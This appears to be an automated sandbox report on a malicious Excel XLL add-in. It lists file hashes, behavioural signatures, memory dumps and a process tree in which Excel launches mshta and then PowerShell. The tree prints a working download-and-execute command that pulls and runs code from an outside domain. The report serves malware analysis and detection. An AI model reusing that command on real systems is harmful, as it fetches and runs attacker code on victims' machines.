Analysis

  • max time kernel
    146s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22-05-2024 22:43

General

  • Target

    69609a4f5c21218b7b53376aa4c9ff33d23f9a078cc728ce291402cc91e60292.xll

  • Size

    12KB

  • MD5

    4ee91d6d1bf14e64918c05d3ceaafaf2

  • SHA1

    4a8072f77f28d684fb3ebe49b4be8c8fba6ae713

  • SHA256

    69609a4f5c21218b7b53376aa4c9ff33d23f9a078cc728ce291402cc91e60292

  • SHA512

    bd080d7844b5760f022d347206f5974280f720150a92436bf5afcd082cf346902c8076e86e76ece7da309c6b8896d4f83033dc2781ae2fe7f5979eb091139143

  • SSDEEP

    192:KL29RBzDzeobchBj8JONBrON6m6+oruCrEPEjr7Ahy:029jnbcvYJO2nbwuCvr7Cy

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\69609a4f5c21218b7b53376aa4c9ff33d23f9a078cc728ce291402cc91e60292.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2624
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:872
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1368

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\3FR0UY0O\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\69609a4f5c21218b7b53376aa4c9ff33d23f9a078cc728ce291402cc91e60292.xll

    Filesize

    12KB

    MD5

    4ee91d6d1bf14e64918c05d3ceaafaf2

    SHA1

    4a8072f77f28d684fb3ebe49b4be8c8fba6ae713

    SHA256

    69609a4f5c21218b7b53376aa4c9ff33d23f9a078cc728ce291402cc91e60292

    SHA512

    bd080d7844b5760f022d347206f5974280f720150a92436bf5afcd082cf346902c8076e86e76ece7da309c6b8896d4f83033dc2781ae2fe7f5979eb091139143

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3dxdmpi4.xzt.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1368-54-0x00000000061E0000-0x000000000622C000-memory.dmp

    Filesize

    304KB

  • memory/1368-41-0x0000000005300000-0x0000000005322000-memory.dmp

    Filesize

    136KB

  • memory/1368-39-0x0000000004D20000-0x0000000004D56000-memory.dmp

    Filesize

    216KB

  • memory/1368-56-0x00000000066A0000-0x00000000066BA000-memory.dmp

    Filesize

    104KB

  • memory/1368-55-0x00000000077E0000-0x0000000007E5A000-memory.dmp

    Filesize

    6.5MB

  • memory/1368-53-0x0000000006190000-0x00000000061AE000-memory.dmp

    Filesize

    120KB

  • memory/1368-52-0x0000000005DD0000-0x0000000006127000-memory.dmp

    Filesize

    3.3MB

  • memory/1368-43-0x0000000005B90000-0x0000000005BF6000-memory.dmp

    Filesize

    408KB

  • memory/1368-42-0x0000000005B20000-0x0000000005B86000-memory.dmp

    Filesize

    408KB

  • memory/1368-40-0x0000000005480000-0x0000000005AAA000-memory.dmp

    Filesize

    6.2MB

  • memory/2624-15-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB

  • memory/2624-10-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB

  • memory/2624-16-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB

  • memory/2624-18-0x00007FFF75BA0000-0x00007FFF75BB0000-memory.dmp

    Filesize

    64KB

  • memory/2624-17-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB

  • memory/2624-19-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB

  • memory/2624-13-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB

  • memory/2624-4-0x00007FFFB7E43000-0x00007FFFB7E44000-memory.dmp

    Filesize

    4KB

  • memory/2624-8-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB

  • memory/2624-79-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

    Filesize

    64KB

  • memory/2624-6-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

    Filesize

    64KB

  • memory/2624-12-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB

  • memory/2624-11-0x00007FFF75BA0000-0x00007FFF75BB0000-memory.dmp

    Filesize

    64KB

  • memory/2624-14-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB

  • memory/2624-2-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

    Filesize

    64KB

  • memory/2624-9-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB

  • memory/2624-3-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

    Filesize

    64KB

  • memory/2624-1-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

    Filesize

    64KB

  • memory/2624-5-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB

  • memory/2624-0-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

    Filesize

    64KB

  • memory/2624-62-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB

  • memory/2624-64-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB

  • memory/2624-78-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

    Filesize

    64KB

  • memory/2624-81-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

    Filesize

    64KB

  • memory/2624-80-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

    Filesize

    64KB

  • memory/2624-7-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB

  • memory/2624-82-0x00007FFFB7DA0000-0x00007FFFB7FA9000-memory.dmp

    Filesize

    2.0MB